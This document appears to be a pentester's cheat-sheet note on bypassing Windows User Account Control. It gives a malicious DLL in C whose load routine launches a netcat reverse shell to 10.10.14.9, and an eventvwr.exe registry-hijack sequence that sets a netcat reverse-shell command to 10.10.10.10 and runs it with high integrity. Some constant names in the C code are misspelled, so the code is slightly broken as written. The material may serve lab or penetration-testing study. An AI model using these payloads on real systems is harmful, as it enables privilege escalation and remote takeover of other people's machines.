If a user belongs to the administrator groups and cannot execute the commands as Admin ( moving to Administrator's Desktop for eg.). Indicatest that there is a UAC is enabled
The bypass can also be checked with SharpUp.exe
The output of the sharpup.exe suggests the UAC can be bypassed
UAC Bypass
1. Mounting
With net use n: \\127.0.0.1\C$ -> mounts the C directory as a new share as n
2. DLL Hijacking
Create a malicious dll file
pwn.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved )
{
switch(dwReason)
{
case DLL_PROCESS_ATTACHED: // A process is loading the DLL.
// do stuff
WinExec("C:\\ProgramData\\nc.exe -e cmd.exe 10.10.14.9 1337", 0);
break;
case DLL_THREAD_ATTACHED: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return 0;
}
Fileless UAC bypass, without using any applications to bypass the UAC
The registries are being used to perform the action
# Summary:
- The eventvwr.exe when loading will look for the entry
HKCU\Software\Classes\mscfile\shell\open\command in the registry
- By default, this registry won't exist so when analyzing with procmon,
the registry status will be set to **NAME NOT FOUND**
- The eventvwr also accesses the registry with high integrity ( accesses as
the system user)
- We can add a new entry to the registry and specify the command to be executed when
eventvwr.exe executed
Commands
# create a registry entry
reg add hkcu\software\classes\mscfile\shell\open\command
# provide the command to be executed
reg add hkcu\software\classes\mscfile\shell\open\command /d "c:\windows\temp\nc.exe -e cmd.exe 10.10.10.10 1234"
# run eventvwr.exe to execute the command
eventvwr.exe
